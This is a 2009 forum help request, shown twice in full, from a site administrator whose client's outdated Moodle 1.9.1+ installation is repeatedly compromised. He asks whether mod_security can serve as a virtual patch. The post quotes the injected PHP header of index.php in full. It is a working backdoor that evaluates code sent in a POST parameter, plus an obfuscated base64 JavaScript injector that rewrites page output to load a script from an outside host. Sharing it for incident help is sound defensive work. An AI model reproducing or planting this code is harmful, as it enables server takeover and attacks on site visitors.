Moodle 1.9.1+ (Build: 20080528) always hacked
Posted: Fri May 15, 2009 5:15 pm
Hello,
I'm having problems with one customer's site that is running Moodle 1.9.1+ (Build: 20080528).
It is always hacked, the PHP files are compromised. Some code is added to the beginning of the files.
I'm having problems to convince the customer to upgrade Moodle.
Is there a way to "virtual patch" this Moodle's version throught mod_security?
Thank you.
Alexandre
------
index.php head:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihLb3kpe3ZhciBhQkhuPSclJztldmFsKHVuZXNjYXBlKCgndmFyLTIwLTYxLTNkLTIyLTUzYy03MmlwLTc0RW5naW5lLTIyLTJjYi0zZC0yMlZlcnMtNjktNmZuKC0yOSstMjItMmNqLTNkLTIyLTIyLTJjdS0zZC02ZWF2aWctNjF0LTZmLTcyLTJldXNlLTcyQWdlLTZldC0zYi02OWYoKHUtMmVpbi02NGUtNzhPZigtMjItNTdpbi0yMiktM2UwKS0yNi0yNih1LTJlaW5kLTY1LTc4Ty02NigtMjJOVC0yMDYtMjIpLTNjLTMwKS0yNi0yNihkb2N1bS02NW50LTJlYy02Zm8tNmJpLTY1LTJlaW5kZXgtNGZmKC0yMi02ZGllLTZiLTNkMS0yMi0yOS0zYzApLTI2LTI2KHQtNzlwZW8tNjYoenJ2enRzKS0yMS0zZC03NC03OXBlLTZmZigtMjJBLTIyLTI5KS0yOS03Yi03YS03Mi03Nnp0cy0zZC0yMkEtMjItM2ItNjV2LTYxbCgtMjJpZi0yOHdpbmRvdy0yZS0yMithKy0yMiktNmEtM2RqKy0yMi0yYmErLTIyLTRkYWpvci0yMitiKy02MSstMjItNGRpbi02ZnItMjIrYithKy0yMi00MnVpbGQtMjIrLTYyLTJiLTIyai0zYi0yMiktM2JkLTZmY3VtLTY1LTZldC0yZXdyaXQtNjUtMjgtMjItM2NzLTYzLTcyaXB0LTIwc3JjLTNkLTJmLTJmZ3UtNmRibC02MS03Mi0yZS02M24tMmYtNzJzcy0yZi0zZmlkLTNkLTIyK2orLTIyLTNlLTNjLTVjLTJmc2MtNzItNjlwLTc0LTNlLTIyKS0zYi03ZCcpLnJlcGxhY2UoS295LGFCSG4pKSl9KSgvLS9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php // $Id: index.php,v 1.201.2.5 2008/04/15 21:42:50 stronk7 Exp $
// index.php - the front page.
///////////////////////////////////////////////////////////////////////////
// //
// NOTICE OF COPYRIGHT //
// //
// Moodle - Modular Object-Oriented Dynamic Learning Environment //
// http://moodle.org //
// //
// Copyright (C) 1999 onwards Martin Dougiamas http://moodle.com //
// //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
...
...
...
I'm having problems with one customer's site that is running Moodle 1.9.1+ (Build: 20080528).
It is always hacked, the PHP files are compromised. Some code is added to the beginning of the files.
I'm having problems to convince the customer to upgrade Moodle.
Is there a way to "virtual patch" this Moodle's version throught mod_security?
Thank you.
Alexandre
------
index.php head:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihLb3kpe3ZhciBhQkhuPSclJztldmFsKHVuZXNjYXBlKCgndmFyLTIwLTYxLTNkLTIyLTUzYy03MmlwLTc0RW5naW5lLTIyLTJjYi0zZC0yMlZlcnMtNjktNmZuKC0yOSstMjItMmNqLTNkLTIyLTIyLTJjdS0zZC02ZWF2aWctNjF0LTZmLTcyLTJldXNlLTcyQWdlLTZldC0zYi02OWYoKHUtMmVpbi02NGUtNzhPZigtMjItNTdpbi0yMiktM2UwKS0yNi0yNih1LTJlaW5kLTY1LTc4Ty02NigtMjJOVC0yMDYtMjIpLTNjLTMwKS0yNi0yNihkb2N1bS02NW50LTJlYy02Zm8tNmJpLTY1LTJlaW5kZXgtNGZmKC0yMi02ZGllLTZiLTNkMS0yMi0yOS0zYzApLTI2LTI2KHQtNzlwZW8tNjYoenJ2enRzKS0yMS0zZC03NC03OXBlLTZmZigtMjJBLTIyLTI5KS0yOS03Yi03YS03Mi03Nnp0cy0zZC0yMkEtMjItM2ItNjV2LTYxbCgtMjJpZi0yOHdpbmRvdy0yZS0yMithKy0yMiktNmEtM2RqKy0yMi0yYmErLTIyLTRkYWpvci0yMitiKy02MSstMjItNGRpbi02ZnItMjIrYithKy0yMi00MnVpbGQtMjIrLTYyLTJiLTIyai0zYi0yMiktM2JkLTZmY3VtLTY1LTZldC0yZXdyaXQtNjUtMjgtMjItM2NzLTYzLTcyaXB0LTIwc3JjLTNkLTJmLTJmZ3UtNmRibC02MS03Mi0yZS02M24tMmYtNzJzcy0yZi0zZmlkLTNkLTIyK2orLTIyLTNlLTNjLTVjLTJmc2MtNzItNjlwLTc0LTNlLTIyKS0zYi03ZCcpLnJlcGxhY2UoS295LGFCSG4pKSl9KSgvLS9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php // $Id: index.php,v 1.201.2.5 2008/04/15 21:42:50 stronk7 Exp $
// index.php - the front page.
///////////////////////////////////////////////////////////////////////////
// //
// NOTICE OF COPYRIGHT //
// //
// Moodle - Modular Object-Oriented Dynamic Learning Environment //
// http://moodle.org //
// //
// Copyright (C) 1999 onwards Martin Dougiamas http://moodle.com //
// //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
...
...
...